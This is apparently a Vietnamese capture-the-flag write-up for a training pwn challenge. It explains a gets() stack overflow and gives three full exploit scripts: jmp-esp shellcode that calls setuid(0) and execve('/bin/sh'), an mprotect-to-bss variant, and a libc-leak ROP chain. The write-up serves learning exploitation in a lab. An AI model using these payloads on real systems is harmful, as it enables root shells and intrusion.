Sau đây sẽ là writeup về challenge training session pwn của mình

Checksec:

```
checksec chall                                                    -□
[*] '/home/lynklee/training/homework/release/chall'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8047000)
    RWX:      Has RWX segments
    RUNPATH:  b'.'
```

`NX disabled` có nghĩa là stack sẽ có thêm quyền execute, có nghĩa mình có thể sử dụng shellcode trong challenge này

Mở IDA và reverse:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  getpath();
  return 0;
}

int getpath()
{
  int v0; // eax
  int result; // eax
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  unsigned int v3; // [esp+4Ch] [ebp-Ch]
  unsigned int retaddr; // [esp+5Ch] [ebp+4h]

  printf("input path please: ");
  fflush(stdout);
  gets(s);
  v3 = retaddr;
  if ( (retaddr & 0xFF000000) == 0xFF000000 || (v3 & 0xF7000000) == 0xF7000000 )
  {
    printf("bzzzt (%p)\n", v3);
    v0 = sys_exit(0);
  }
  printf("got path %s\n", s);
  result = mprotect((void *)((unsigned int)&execve & 0xFFFFF000), 0x1000u, 1);
  if ( result )
    exit(-1);
  return result;
}
```

Trong hàm `getpath` sử dụng hàm `gets` để nhận input → `Stack buffer overflow`

Mình set breakpoint ngay tại lúc gọi hàm `gets` để tính khoảng cách từ input cho tới return address.

Offset là 80.

Nếu như các bạn đã biết, để có thể chèn shellcode vào được stack, chúng ta phải có địa chỉ stack hoặc là một gadget giúp mình đưa `eip` là địa chỉ stack. Ở đây, để leak được stack sẽ tốn rất nhiều thời gian và công sức nên mình sẽ dùng cách thứ 2, bằng cách dùng gadget `jmp esp`.

Gadget này sẽ nhảy tới esp, nơi chứa shellcode của chúng ta.

Mình sẽ fill up buffer bằng 80 bytes junk, sau đó tại return address sẽ là `jmp esp` và khúc dưới sẽ là shellcode của chúng ta.

Vì có tới 2 flag và 1 trong 2 flag cần quyền root để đọc, nên thay vì chỉ chiếm shell như thông thường, mình sẽ gọi thêm `setuid(0)`, sau đó mới `execve("/bin/sh", NULL, NULL)`

```
push 0xd5 ; system call for setuid
pop eax
xor ebx, ebx ; ebx = 0
int 0x80
```

Thay vì chèn lần lượt 4 bytes trong chuỗi `/bin/sh\0` theo little endian, mình quyết định sẽ ghi chuỗi trên vào bss thông qua syscall `read`. Các bạn có thể dùng lệnh `info target` hoặc `info file` trong `gdb` để kiểm tra bss ở đâu (vì chương trình đã tắt PIE).

```
push 3 ; syscall for read
pop eax
mov ecx, 0x0804c008 ; bss
mov edx, 100 ; read 100 bytes, specify more or less depends on you
int 0x80 ; ebx has been set to 0 from setuid syscall before

push 11 ; syscall for execve
pop eax
xchg ebx, ecx ; swap ebx and ecx, ebx = bss, ecx = 0
xor edx, edx
int 0x80
```

Final script:

```
from pwn import *

e = context.binary = ELF("./chall")
r = e.process()
#r = remote("0.tcp.ngrok.io", 12400)
libc = e.libc
gs = """
b*0x0804928b
"""
gdb.attach(r, gs)
r.recv()
pause()
shellcode = b'\0' * 80
#shellcode += p32(0x0804928b)
shellcode += p32(0x08049242) # jmp esp
shellcode += asm("""
    push 0xd5
    pop eax
    xor ebx, ebx
    int 0x80

    push 3
    pop eax
    mov ecx, 0x0804c008
    mov edx, 100
    int 0x80

    push 11
    pop eax
    xchg ebx, ecx
    xor edx, edx
    int 0x80
""")

r.sendline(shellcode)
pause()
r.sendline(b'/bin/sh\0')
r.interactive()
```

Cách 2:

Thanks @Robbert1978 vì đã giúp tớ biết thêm trick này.

Đây là cách hơi nâng cao hơn, cụ thể là trong chương trình có dùng hàm `mprotect`, vì vậy mình sẽ biến bss thành 1 vùng có execute permission, sau đó gọi shellcode ngay trên bss.

Để làm được cách này, các bạn cần hiểu rõ về `x86 calling convention`. Vì các tham số dùng gọi hàm được lưu ngay trên stack chứ không phải các thanh ghi, nên ở trong script phía dưới, hàm `gets` cũng như là địa chỉ `bss` sẽ là return address lần lượt sau khi gọi `mprotect` và `bss`.

Như vậy, khi gọi hàm `gets` xong, eip sẽ là `bss`, chính là địa chỉ shellcode của ta ngay lúc này.

Final script

```
from pwn import *

e = context.binary = ELF("./chall")
r = e.process()
#r = remote("0.tcp.ngrok.io", 12400)
libc = e.libc
gs = """
b*0x0804928b
"""
gdb.attach(r, gs)
r.recv()
pause()
bss = 0x0804c000
shellcode = b'\0' * 80
shellcode += p32(e.plt['mprotect'])
shellcode += p32(e.plt['gets']) # return address after calling mprotect
shellcode += p32(bss) # addr, also return address after calling gets
shellcode += p32(bss) # size
shellcode += p32(7) # prot

shell = asm("nop") * 0x40
shell += asm("""
    push 0xd5
    pop eax
    xor ebx, ebx
    int 0x80

    push 3
    pop eax
    mov ecx, 0x0804c008
    mov edx, 100
    int 0x80

    push 11
    pop eax
    xchg ebx, ecx
    xor edx, edx
    int 0x80
""")

r.sendline(shellcode)
pause()
r.sendline(shell)
pause()
r.send(b'/bin/sh\0')
r.interactive()
```

Thêm 1 cách nữa đó là ROP leak libc và gọi system("/bin/sh"), nhưng its just an unintended solution, mình chỉ để script ở dưới cho các bạn tham khảo.

```
e = context.binary = ELF("./chall")
r = e.process()
libc = e.libc
gs = """
b*0x0804928b
"""
#gdb.attach(r, gs)
r.recv()
#pause()
payload = b'A' * 80
payload += p32(e.plt['printf'])
payload += p32(e.sym['main'])
payload += p32(e.got['printf'])
r.sendline(payload)
#r.recvuntil(payload + b'\n')
libc.address = u32(r.recvuntil(b'\xf7')[-4:]) - libc.sym['printf']
log.info(f'Libc: {hex(libc.address)}')
pop_ebx = libc.address + 0x0002c01f
payload = b'A' * 80
payload += p32(0x0804928b) # ret gadget
payload += p32(libc.sym['setuid'])
payload += p32(pop_ebx)
payload += p32(0)
payload += p32(0x0804928b)
payload += p32(libc.sym['system'])
payload += p32(0)
payload += p32(next(libc.search(b'/bin/sh\0')))
```

```
r.sendline(payload)
r.interactive()
```